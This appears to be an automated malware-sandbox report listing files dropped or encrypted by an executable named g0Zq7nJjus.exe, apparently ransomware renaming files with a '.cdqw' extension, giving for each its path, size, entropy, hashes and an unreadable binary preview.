C:\Users\user\Favorites\Amazon.url.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.45952693375548
Encrypted:	false
SSDEEP:	12:jCCm9c1KRoPkEGCeLpT6Z+9TZJE+fFWSUdNcii9a:S9c4LEGLVT6ZoTf1fj2bD
MD5:	C6899B30BC040C3D1865BF848155079F
SHA1:	AABC92E9A7FDC1EF0A87D5FD4A7BA7FA4423175B
SHA-256:	7D1F383E15B9E1BFAC51299D7F6F9E361586CD2DB7187E4DE875B3A68DB14028
SHA-512:	CA73392436A42C2055BEC4991BCFB7509863A3575A434ADC7A4998BD885313C62642F1CCAEEECF70A604EE2259C5CE06148FCC8100A1919E00D9BE7779496D79
Malicious:	false
Preview:	[{0002.2.S.2'$t\.....&....Xs...v.~tog..:.t9..1@..YS.XjPi...@.{-D.0>.V.R...i/.....q6.V.L..&;!..e.+E..Y{...=.3w....k...5R.~..<..?.6t....q.......Z10......~....0a...s.+kH.+........5D...I.`.1.B}./.qrW..j..D..d...^.K.$.....?i..<X..`..D.....p...Y....... ...#.K-.a...7:O_:&..[..m.%.....Tk."s)........T&....\|&.gd...\|)..U.Q.ZO.tn&..T..cA.Bk..Y...\|..FA ..\.W.,dmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.408664281897403
Encrypted:	false
SSDEEP:	12:5Bb/bXRu4BKQ3WycEKEErz7hdRnUchWqdpjSaSUdNcii9a:jDbXRuXEYPXRUchWmjSZ2bD
MD5:	014E72BE7ED9540BB237109353B8446C
SHA1:	5049F5B7161593CB0ED096FF9467C40D7FDBDB6F
SHA-256:	516F9CA377F46411371A713D6F3BBD4171FD494029AB42E8FE1137F2D2346D6B
SHA-512:	10EA590BA150156B8CE3332CD85DD54C8F363DD9F508AF21BCF2FA09155C09442BAB8E43FA073024F9E056CD29BD0154C79AC20259DDEC50A0607C72C20F13A3
Malicious:	false
Preview:	[{000...8...+......KZ..t.e....5.......8..Q.G..Zm{....b..IQ.4...5z..!..4....^p5....{...6.h..@....*Y.:.3......W..u......P.i..E&.3...:.+.L...J..d..g.....E..d..:.6~e......9...Y[.q.M'....c4.[...9>h...hz.d.o..9......?K..C. .. .!].@s.t.s.>U.+.....I.v.....=..J{......p1.-..K.:.^Mwr.3..`oRM...n..Y./.{I.v..W(...!.d..B7....0..t..._..R..J....eU...Rqo ..0....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.408664281897403
Encrypted:	false
SSDEEP:	12:5Bb/bXRu4BKQ3WycEKEErz7hdRnUchWqdpjSaSUdNcii9a:jDbXRuXEYPXRUchWmjSZ2bD
MD5:	014E72BE7ED9540BB237109353B8446C
SHA1:	5049F5B7161593CB0ED096FF9467C40D7FDBDB6F
SHA-256:	516F9CA377F46411371A713D6F3BBD4171FD494029AB42E8FE1137F2D2346D6B
SHA-512:	10EA590BA150156B8CE3332CD85DD54C8F363DD9F508AF21BCF2FA09155C09442BAB8E43FA073024F9E056CD29BD0154C79AC20259DDEC50A0607C72C20F13A3
Malicious:	false
Preview:	[{000...8...+......KZ..t.e....5.......8..Q.G..Zm{....b..IQ.4...5z..!..4....^p5....{...6.h..@....*Y.:.3......W..u......P.i..E&.3...:.+.L...J..d..g.....E..d..:.6~e......9...Y[.q.M'....c4.[...9>h...hz.d.o..9......?K..C. .. .!].@s.t.s.>U.+.....I.v.....=..J{......p1.-..K.:.^Mwr.3..`oRM...n..Y./.{I.v..W(...!.d..B7....0..t..._..R..J....eU...Rqo ..0....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.868764349171421
Encrypted:	false
SSDEEP:	24:nQ8xBnidfQKrWx6cDsheCJYzyIowETQhJzWothajXgxDd0I45UWKCw2bD:BxBnwohSJYOwjJzFEb0WKCjD
MD5:	7C8966EA77AA3ED17E7CCFA0F248E8BE
SHA1:	D845BB790F1C30E88257A92E46047FB7124F5309
SHA-256:	611A6ABBA911608A0BAD39167B8657854EF4A8400886FA4DA826EEEA1F167356
SHA-512:	9060DB9D3C72891D2141FF28871D79A0012A05E7BD17E3A62C006E180ECD710A546B509B1FA45B3CED8294E95457A32826D885F462BE76B3EFF5ACFB3E6BF771
Malicious:	false
Preview:	%!Ado....x.m...3.{.....d..L..E..kT6{..YNg.>.k..)........1^Y6K#. T.J....6......+...n....Fy....N......h.Af.v....T...,.7.(.L..V.]sAm..\|.,A..x.w.>t..}.h..Y.....$...]&h.D...^.....+.W...{........./J..7...f...V.....z.-(..^x....'..Q.J..B#...;x7.n....OCy[8.~...W....SHD(.F...BT@.............>.a..s......a;.C..?].....@j...A.......Q....(r2..T..>(SWTw.%.\"N.Y..!.?.....q.!.pc.i..Fc......w.![.\..I]......J.f.A..-............#...fUbA"m..f.6u..).`...p....=..J.$.Yg...t......I.fxV......{0...J....GH.DRh@...V..=....@FT7r.R..p..cv.L+B..A..'..kk..S.Nh..E.".i...j3..xw._.x.........B{Ia..H....6j..H..}Qa..Dn..`.R..-m..<.F......S..P..T..e..%T...!S...H..Q........4.m)...V..D<#._..}.,.-....d;2....6..O..S-...l%.A.{.{.j.Y..xP.~..I........[.A;N.RO..$.Xj........'..-.4U.......XG....W0..e4W.8.p..l.15....e..~/.....#}1Z3..d.^.Z...v..!..X..X..>....Z.1.z.LX....I..\|j.O....CiHw.!U..}.>...V@:.^w..._...n..*.......PQ..q\|.p.V......d..G..];.2:..W....f....4.Q....d...a.]W.8..

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.876776748241547
Encrypted:	false
SSDEEP:	3072:7Z4ZHovxk+7YTO3bIiCK5jvOrHJR6h88N86aX1FC4PvVZcNYtQ2XE07ZmandGCyZ:7Z4doS+7YqrdjvOrp0hWTbCKZcC/XE0G
MD5:	E1363B25AC98422DDFD9320EE2038E68
SHA1:	3392C408BE19A8E0246C4A55087F44C925A6ECBD
SHA-256:	81E8FBFFFF790D278AA3DC00B963C8B72E811FD40325EBAC81745A2289309C30
SHA-512:	E874AC7504F2AF41676F61AD4AFC892194AD76203110A8CD150D50673D3B2FFE9BFF842F5E694441DE340C26336BF5936FA4474CDE807DD60F503F718E7A1FFC
Malicious:	false
Preview:	%!Ado....y4).+o...-W..^z.....1.B.q.'.h......5....h.......'....6...x(Ja......,V)O.E\|..^.........T.,.....u....v...1tX9x...\|.....zq5&.._.].pi..V.~..&_R-....S.I.a....a....."T.!c.3.."....k.I.\|8.\|.{rx`..4..\|...D.j..S......G.L.P...-,k[..@.G..&L7kG......P.....9..f.[M.n{"R..Y<.Q....st.[9.rT...B...1.r...h..M..~{&..\{z.Ro..2..e..[.Q-}...]M..;..W.....q.....&..4.....r../..u.....b..@h....wF..y...0LB.......~.._.`...k..WWC........K.qu...:.p.RWI...w...#y1+...P:..^}.....M..?x.q-DL.N....h...#)..g.z...d......C...;.r.C......o}U..K1./C.d.........+[j....P...#.....I4F`..,Qk...v.#l;-.K.....F.C.s...$.I.`..R..."...T&...qy...EK)....6....y?&.!._...\|:.O.t.T....Z.(.wz(.?5d..H.vP..2.........6e..7.....7......(_IZ.%....?7y..ea.h.....w}.O1O.r..m3.{...=.%...LM....c..WT.^Ro....}.s".k...d ...:)%H..4..Du.........~.@.V...Nl.I....iGuJ.....z...Q.R..L...}A.2...2.&`G&u.....1n..../.....zh.p;..s..q.S.F..W.V....U.9.....@1..L.^.$.".\|....B...a.....I4/......"....nM\.{g.N.wL

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.985745282050987
Encrypted:	false
SSDEEP:	6144:wRWaJKCmb/8vlrISkR7G7rP+jUDVSP/9nW:woaoVbU8KGU9
MD5:	021420B3611C2CC9841D7D4D2A9FDC16
SHA1:	73D7A9E85214C8217E75660527C9A92B58646146
SHA-256:	EE96A53E2171ED7768D8A803F8CF4772F8960CF1CF313844D79EC1E68A3874E5
SHA-512:	25B01E5B060392C1810359ACFC77327239AC5C43076F77B3BC079EEC03A0A2E4428CF0BD6C535DE66F35E4D4BD88AB732118B664391FCDD9DABB45B40BFA3A06
Malicious:	false
Preview:	Adobe#y.B.Y.dF.?..OW.{......s. ..b..c.aF.h..<.3M.#.......}S.ji..v.....@..n..^...-'...,Z...!.Nk.....O..jU..Q....kl.p...!.....\|[...7.2).].]....q....Dg..\|.9..z..~...E V........Qx...9....ovp..kC.s.J.......t;#..l....^.i..........5.5.d.J....."E....".Yj.Vx1.s..I..G[933.bN....v^..}....).5......d..L.@.W....g.=.At....@p...\|.9..<.>.....l.E.d.3......7X3..u\nn.'V..u...B._..q.....8......@.OX..v..oP.....E..h.%1...FOy....[kJ......-....:.?.1....U...U......(.Y..5.G..l..._../7B.1....O.D.2+O....l.../v7diT.B\|r]{.....Z-.#.....;...IZn.U..$..fZb.0..h...(8.R$ui..K.b..e1.5y....\|`0.Xk&..........i.t\4.....0).T.....O..#.l..(.e....a.v6..4...V"d...NI.....3u.H..a...%....x..w..u.\|.Z.u3.6.,\......Lv.s%.Sj.<m......l....Q.....PV..Z.;&.p...._.a.....s.\| ..Ex.. /.C=...........Ie..B+.C@........mH....2....X,...3.]..q='0t...;....ta]<..!.v.ET..yd..V.`..u.1j+..$.........t.F..}/O..[..v..!......_P.O..o...9..I.`.G(..U'....Uq....J.........`.?.!....L..4@z........4.T.M'.b...A....

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997251814650505
Encrypted:	true
SSDEEP:	1536:5Z0PcpoQFyaD+TB7XAw5Si8RrePZgY8AbOQEZ+8uc8mjjh:5Z+cpoQ42KBF5SZeazAqqlhmHh
MD5:	B0057FD00B187F62D513E3077DB81202
SHA1:	AFCA29E1F7139C8B7307BCB069815DDAE62F9A88
SHA-256:	D67E41461E083428143697C11DDBD1AFE99CC42DD69E0A98EEC2764A6A0E7714
SHA-512:	23EE8437504D3F56E0E7CE213C638D347CEC064AA8DF8DE0ACEEF393C1EEA58797835E1E0E017EE2017EA44D267B2978948B892E0FBCABA60D7E0E1F5B810AB7
Malicious:	true
Preview:	4.397..5......+!....v-...@~m.8....>.F..S.J.fW.4.A......}..%$>{.O.j...9.`........<...@.t?'Z.SSX..%.`Et~Ai..1.q..`kxhe.!.$.8R..N..).....o.~X.....+..j`N>O...Ja9O.]O......:.'@......~.:.NW...Z..i..F..gE..Q./...}nkc.Y.;......./F.0/.~.v.......rO.k....W...^..-,...9.m.....]...D.G.J5....>.q..[...<A......<!4U...,.{..A"..l.1..\|...<.L.9...J...cP,$..3.Ce..\|...tK8+.p...K?K.F...(.z.....^.q.P....S....,...._...r...TD.".M..Rd^s...e0[k.>S......b...:......qke.H.x.8.-..>....I......\...\|...z]....M.....F.\XIAG.;(S....z.Ed:.v$........;.5{....8Z.>(.O.\.tmU\..Q.O.#..J.e.P...b..#......x.n..(p"....c..].R'.W..?zb(E.D......b.1.............F.Z.....i...E.X........9Q.'./..+T..8"....%..C....n..'..s...\..y.../Mz.7..3/.d...P.K.SQ-....J.......m...+c...Q.......d5.l.......H..t.bl.z$.G0.....A......hQN..]...k%,....(7.\.mmX/.,..bQ.$7'.....9.V.......t......,.q.......X>...Fk$.Ik...5..p.......m.B.I7....e..k[.,........H..\...0uv....aG.......}.^.... .\.78dx..._u>'..)..P.'N...q

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jtx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7343729263794634
Encrypted:	false
SSDEEP:	6144:y0ENUTpr8ArvfafnkDaOH/o7c3WgKHqA3cRtO2/VVt/MkF7fO5Jbqh+A13TGLZAR:sNUKwifnaaOfoTFY/NMDo
MD5:	EA94F93251B9B07ECC84F5E8D83F86FB
SHA1:	E3F470A985C69E687A5952F4367CBBD5BF2C8D28
SHA-256:	00CD7EC44074897129F9BBB55B547E1DE3B3B7B2553153E09D6013E89B64F162
SHA-512:	EFF20789371B8505D911FC1B58B9E2E25C92021621299823F56DFB50916CA72E648FD0BF764479B419EBFB90C99E7A2796F24A7B6919C9CF826566BA43DED3DE
Malicious:	false
Preview:	.&...B...<..^>...>...o6..~...w[.@.\.9.^S....amR.....y4\.. ...f.....>..qG.}..c..i..z....3...6g....>.g.%..>...U..p]..XQ&.Dd..N?mx.L.E.2....S.-.....]......XR.>..4..b..<.?j..p..d.9..^q.<b8.`....T.:....ai'...g)..iy..g..0Qi/.,..L.8j(.\D&..o)h..(N.9..wq..+..18.xO'.....92.e....H..(j6.J.i.a?...=.}kK..j&.il...t....^[W..N?....k.0e.t%P.....r.......&2S....3.^q......:.]7...1dj.x.K.....!2.V.uS..g'..s..g].~p. f.b..b.(.5,{`.po.9.m^..M@.V.\|.a..s..]..XH..O~.\0.R..Z9........5RJ_...=y\G.T...^T..QF.]...p.B.'...v-....n./,:....9W....Y.}].I..~...3..t..&.X..._.....[..w...,%iC..j......r9..(JG.\|i_.-.rIR.?..<...M......PF.w...^.\.I..t....EB.....w.L...S....>m...d.7.f\h.....s.......}....@.&..R....A.O......L..z.bn..}..c..D.....P...t.@K...&)..z...X%6Y...=...,H.".E"$J.>.-.a]Z..H?..U..M...m.!.UE. UI`.du..a..vd...Z@<....9x....@X...F..F.k.C......\..8..M......1........q.&h.<.7..@.b.k.X....W..79...n`.(.@~x.`S;...WF.fz9...]o..l..;!>5..[...K....3.T+h.....p\|....G.4.x.@.~w.....u

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706889608416793
Encrypted:	false
SSDEEP:	3072:CDRkt/JxTsM4h3SmrQLC7eOtx15OMrghHOxeO7rm1aGJD9BO4:CiJxYM4lSxRQxvGVO7rmQePO4
MD5:	759E5C55A453F8085C3914CA36517E5B
SHA1:	C27893BCA881C2A1BD8DBA137FDA744670BDF932
SHA-256:	896694D0837511A4E97D946A638C770CF246B29DBFF775AD0C2025E2F3029F17
SHA-512:	AF013280616D3BBB51B19406133E22AB0271DA297396D46C5BB45F5BCFD6FE372B539BA22738F576BB7BAA4A88A27E2FEABC4600A7B367C0E431600C34DF525B
Malicious:	false
Preview:	.....n.q:.r...x....{...8.t.bv.c(?..aM..........:.>....c7.>.NB>..<....I6.+t...)..a...e...5..N.D../]z.<.s0..(oy<y..y...w...'.......Hu..EL.h..d..#....Zt..0o.K..pu....J.50.q.....}...u.7e.......w[T#..4.B.....D.s.mw}U...V...\|(aE.ce.......G..v40.j..I.V.CJ.p..Gx...s.....8....}7].[j.Z94.A.v.@.<.x.$.I...@.....;..E.+....L..;IW..W}.S/....,K....F.........-yC...Y.z........{e..ew....`....Q.e..'..`+f.AJ.T....kM.q..6.z.~X...Y.TQ......s..zXw....CP....?.o..].7,$...A...0:...}./R.).b.M..x..6iS.}....e.G.K.L2{.=....(.0.\|.f....S./.X...G.f#F.`.T..r.m.K........ws..^.:..d..:.H..Pzk.9....D....'.AQ.(>.2........Z/<......68......EJ....r.9...5ec..!.@..!..zQ...L]a.c4...-0x,.0.+.#..&.....h..4\|PIVT./}....\|w....J.>t.Z..Z..'+...)6..\|&.K.B....&.\...K...P.....w...1..R.@L....[\|.3.}/a..6...j.W.....\.".S+.v.~ms. ...7..'%h,..X..l....".p...0. .n.....d.F...B...O.,......u.;h...,.....,...*...\.....L.=lo.q@.QkhS\|p......G.).1.MV...Vl..>Bf\..aC..f..6..z}.U.N+I...E/.E(SJ..i..A..IG....

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706852767134048
Encrypted:	false
SSDEEP:	3072:28axnuuN6DGnXefPaLcwJAWDf6x9plh4UWOMU/UOOxXkwsEZ:NMtNRnI02+mpjvQraC
MD5:	AEF098757A4DAA5D9DE2955A32B853A1
SHA1:	F8AC81848148F5DD9170BEAFCD64CDADE8E3D78A
SHA-256:	A1ED317B847DD703187B2781F98DB42D067F4ED07A57CA351587C537470E89E7
SHA-512:	B2D0F483AE962BB26059EB190C6092AE9679006FBF335691E524823850C11992C261E717B384F6C53212B0C0DEB7A8FEA19D528BE45CC1636275F1A09FB2248A
Malicious:	false
Preview:	.....>.K.."Va.q'q{...#..?....A9...\9.~r.r.....UB....d..LN........R..e.@...5....,{.........\|\|f..... .....b^..'z..{.j..~I`...3.A&[2.{.1G.pj&t.....n .....%4.2...B.K..:.D$..\|..{X..A..{]..d......_.e..R8\..4g.:...3..~.=v......j..Q.u/)...k d..f..:........_..r.....3.v....\|}dt.......5....D\.@.......7.z.k...=H.....j...k.z.....el..So....^........_3.".n.s.H....~qN<...z{.vz.'..t..3.....:....J.....y.$...Jd...[..G..W5P.Wj0f+...I..?......6..............,-...+.1.R..gp......DM..........+\|2.\|7...(e..l,m.{.e.k.$.] k;%.P..p.t%.....E.\R.0Q....M....'KY."...S..<............`X.....z..O.d..a.....:../.@..r%.]...lS.D.tV...._\|(.J4.v.ez..0lfx...u.j$c.V.C..e1......+...U.s&.......C._.t.@..U.R.QX.[$[..ZlQn.......\|.M..0S..V.B.+..;B@.:..cn.u.7.)D. ie...V.>v..t..E`&FM5...!C..Ry\|3...%...._s.x......`.f.=....-D..c.. ....;ly......Z.h.....=.Z.....+f.%.c..(A.....r.1.[}.f..81.z......H.W=_.....J\|V..&.>..&.a.{.Sd.ruONZ..x)......H+M......-.....\,..ukmR........V.....h....}...y.....

C:\Users\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706051535915637
Encrypted:	false
SSDEEP:	3072:NuD4jccbSIJsHxkLmMcn3rF/bIIQ6DrakcpHx+f47KoL1HoNyRU:PjoIKHxqmMcn7FjI56DGCkHoNsU
MD5:	01415E05962647F5182B90924D5D98A4
SHA1:	A7281CA33EA97355198C2238487FF0689B9C19CE
SHA-256:	113EB27F76D292BABAFCF967B5A36E5F4F91B0EBF5A979D435599C088E6A99A5
SHA-512:	4D8A39E905727AD2DFEBEB2FDF48BA1D734F4DC298330165611834D33171AC4E557B26A3513E25DED7FFE8F992723FEB7D87A420A1F0D420E59E5E7250685800
Malicious:	false
Preview:	.....S!J}.R..bAo.;........'../....., ...:Ym.a..1..,.N..R..u."E....L.{...+5.....F.P..v...i>...gy.S.. ..Zs...x..2....r..j\...V<.'.1..<h0..-...{f.f......?..w0.wg.Fb........v...HhiG..E.E.......-..59...t..+...-\"..!....+...g......%3Dkv2.\zlT2.5Z...!HrV...3...9.....6......... F~..B7.a..;.p.S.x.W....2..Q..\|...B.iCH.._._....T..Qy..bMZ...:'.#.~.....g.@....'..+,R..hC..\R.?\|..."......@lK....P/?.9..)..o1.[q...UR.e.p-b.D{9..i.(....R'...g.....3..0...>u...;n..sZ....l..n\|....,......\.^h{.4..kn..H..........{.~.G.{.....j@%d....v.Y.+9.h.>.]H.j......C...I.;.9.....;.A...4...n..4.QI..D:.l!..23......_.8.].P..y..Jn._...Jt....{..b.,...u.Jt..Q.!..h.^..N.B.;.e.gF....7.x...}.$.!...v...BQ...X..%;....F......v4.....Nd.\|#m.1 H+b....^....p..m1..m.6.z...H...xk.b,..p0m^...S....=..S\|..E.....B.1`..v6.\...H4JoD.....E./...u...U.g<..g6i3.+."...&.....j...(.?^.p.._.zQ.....$0:,.*.q...1.'...........w~.........k...2.....i+...f\|..A...M.u..f..C.L.]..+.z..a.."

C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65886
Entropy (8bit):	7.997776299320733
Encrypted:	true
SSDEEP:	1536:15Z9Ti5wtQdrzrvDU/H4BUQtN4DRvNKnBfgy:1rY3LU0U3DRvkBB
MD5:	5935F2CEC1F214BA6EFB779A6565B5EE
SHA1:	A2A013F1C01E708474DA433FA865B1ECF9697D53
SHA-256:	F86CFD8ACD83388754C23B15544BF56C9F5C5DC4217847966A88B2F8E60C4743
SHA-512:	C8E8EAA62F39295C5772600A69A41154242FB8328FBF18EA76BE862202F5BC898D1A7AE8A95512C1D27116F35B9F0B0C635A2B77535BA462695922399F7BD22B
Malicious:	true
Preview:	...S.mH.....=..{.k..W..m>.g.p....yg.+."......V......:...Cm.yy..k.,y.7d/d..hq]..Z.+...k..4.....)Kz.".D!?..a....}2.._..}.V.L..j.Z...u.@.....p...N.A.z..$3.$g&...R(..%.r-@.f\..ig&..v&).&13q....{pm.~.;..9..R,:...K.=$...S...........d}...P..O....v.A?.X../..W......'f?....AI]....M....e..1....^} .G_`N.[^LB..4.X<:...W..bo.....;...?...:..K..'.7..A..].....@.T.L.r....7.K+)a...!_....m.Ok.~.M....](.l.pA0,.8..mPxI......)M.A.P.'..{..5p.bmVY...p8.o..x.~.....b.z.......`+\.....+.7........YM.#._....._)h`.i$}.N[p.a...2...E..u.J.V..}a$D...\..........2..~p.'H..R,.E....DqHp.EO.L.0:>D....~..-...8..E.wYBwN.R2Z`.kH.....BB...y.{...2...=...~.Y...#....C.P.....'..J....87y.%..pcC.C..zH.uH....=.!.+1..9..AS..F..(......S....O2}...:.k&..O=.5!o.~.0...../. .v......D9.G.@U=y..3..E.._..-..v....w..DU.&.N...H8....F.E........q.F.t`D...lX.0=".....>A..q?........ ..d..A.E.....P ...i..u....z.P.".)...}L.W...gm.1......k.fP..o...P..r.U.V....d..l].h....~}.AVWV...z.c....U.A%q...t...l.K..>.`.

C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.30227653130464904
Encrypted:	false
SSDEEP:	24:CiV10bzcJWjwz6klARgwKIGrEfMCSbMj7UwOpT54hZ7dliCH2bz:TSvcslklARgTIGrMVMT52Z7Gz
MD5:	D6436AC7E09FC237C8CD257ECCE96FC5
SHA1:	E24E8D52EBC4AC628550EF625A13F75708CB2419
SHA-256:	FB0DEF068E2B77DC633A4C1061E92EBCFC2AC05EACCB1FEF522D4755A3114EF9
SHA-512:	E45015970FF9CA3011561C3A03C353AAB11B6DA75071646033264EFDD0E8E7EB34A8160ED560696DB1927994C0ED9124EEACB2F20B104B3025394E0BC24AADBE
Malicious:	false
Preview:	.........\.._..c.d{....=B.A.+.O....fg..k.........x_.n..R..:.p.........).5.6w8.I...!W2...Vv.5#P\).6...Va"2..U...f..`.9.Y!.ls.^.'!..`8.4...].b\|\..F"~..j..N..2....7........D.f......vkT@..{J..x#`.H..l.[......Dm....1).]....S...b/P.'"..s.T..P~..P.]_w.&....x....J.P.M....J..pI....Q.....K\....>x....Tt..z........Y/....Y .PP....Vs..w.utW!..,...).E..g.gT..=..C..a.T;..PO%.MQ..._.n..4........0w...j....i.b.E.!...[.....x..Gu...^.<.?c.c .Ds.....^..?.:......;.3....<o ..S.q.#.>......q3.B.nJA...q.M...,;..\|..6..pfQ......Cz....%.Ne..s.[... ...+........{...=..........$..2..H.L..t..\|b.....$.Y<I....cp....B,.3..].....w.....LS..+..Q...h..>X..`..W..@5.K.G......W%l...2....{a...f........4./.-M..y.Q...S..Sx}W F^....t.......?.C$-.......D.B...=,....M....IG\.k$l..i.....]...'...T>.P..Y.0.?C!.....2..2....t.?....g.}...R.M...s.m......Z[Z.#...).63..i<...95...=K...X...t.L!....^.(*R..8........".S@..f..._VS........aU..I.Q.p`o...Z.%....q.3..<"R.....<q.}D.M.o.5V6C.l~_..i%.Fr......P..

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996054712873064
Encrypted:	true
SSDEEP:	1536:uoWtK/P0Y4dxYtSVmlOdX7o+7V8UXSs7RUZq:AyMY4JmsdX7j7V8USs7mE
MD5:	FF560CA3E653C700ACA90BE917E75865
SHA1:	612316DB3FB2488D7543D2E952145585BC88E2ED
SHA-256:	DA2914588DFBBA9E127E534B4E7B84DE7371D1E083580183ECD192EB092CEEBA
SHA-512:	C9C5F37548D63949A16AC7F758DF4AA7CDE3BADEC869BF79E09CF60FFEC610BDA86A89B2D755708A679F02A45B81EE11887A16FF88FFB84D96BC424C268238FB
Malicious:	true
Preview:	SQLit.k..P+.....z."....Y.p....~..q=.K..p ..)V..NC.,...)..Po..1. tr48...,.<..j.\|X.M.......w..dD..;.)..s......(.i.N....+...l.R.k6. .w......M.h..8.....>...K.o..'...4#S..............J}.a+U}.......3....=.....Nw6.XW....A.}-..Nm...&(......g...d...].x....9.IJ.<.j.13.....0.oS..T.M.Q.j.4q..[.....:WN..[.._.......z.p.%p".. .VW:..B....h.Sk....Q.L.PG$0...m..l..\...$(._..j ....e.f.....6.j...4v.g...../..9...9....^..mO........h-4.....o..v..t..\..[^.V~..A...L.G$.rL:.#q.z......Z.^./o..!.U..Z@..:Q..;j..7#/..?..]...;@..P..D........\|Z....=.N./d...wZ.4.<M...1......{....cY5..}p........r..m2........5 8Hc..L..O...._...aY.L.....[..`.Me#..R`....m.`nd.+.L....(-..o....1..?Y..S...S..m.G....+m...I.hhd.lHKM...9".'N(..<vc.+Z.f.c/..R..2..(^....g..p.e.[.../..U.V9pj.U..).5.$+....b.>x.[....1.K....D~......\..!1?>[...../...o.bu.......4[.m&H.~..G..LO-..~...+.:4P.c.P.....3g...}.o..-'G..D_6...~....M..%.#.*I..6.F........-J....e...C.a...Y>..y5...C.../.../..J.Ei.M_L.X.

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.305600325593888
Encrypted:	false
SSDEEP:	6:QdmJlWVpGDKzPHOjGFHb8XZvWqpEjH16CQrCk8NBDV3foiGIo7nIS1WdNcii96Z:QdmO7PujSHgZppEjIvrFi33fJxSUdNcq
MD5:	EDC70E9972A48E2B6E9ACA837DBEF9CE
SHA1:	32130CD4A21BAD439FB442927AF8FFA282D8A41D
SHA-256:	23022A807B1F8AE2BF6FE22318115A6CA680DD97102F3D22CB9B50BBD38D8975
SHA-512:	2644F9C0EC85123DBA01730FE4B89EE8DBD40AA3560D74751324B9B08227E76A65C7FAFD7337B0D116F1831FE9ADBBF74D87A1CAACBFAAEB7113D236E6BFEA88
Malicious:	false
Preview:	1,"fuS.H....GQ\.d.v......T.t.4T..qO68.8........!..0'A...Pz..3N...Y.O.g.+e...N...^....N% .d..."....$..Q4..0.....?Y....e.Ee.kAn.ZL.\|.@.2..S..R.......bv.K5.yo;5.~LoN+..U..#.B....@#.\|..1.*...l.P..t.....La#:.Ek~...a......{4.Emb....Z3...9.F.....,$.....nv...(5bs.y.._,.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.876629411322393
Encrypted:	false
SSDEEP:	48:246oEKK7blXpgmfqf1Iw5MDOKiZMZuKhD:23oEKapSf1dIi2Z1J
MD5:	04294222EC62432C3C4639EF8CF6C7E1
SHA1:	A4BB3D1956DF060BA8DF82E11D278D9D098B2F47
SHA-256:	F8F65E168C9D9DEA5F94C6165812E95A81DD26DC436B653674FB8A6781BD7165
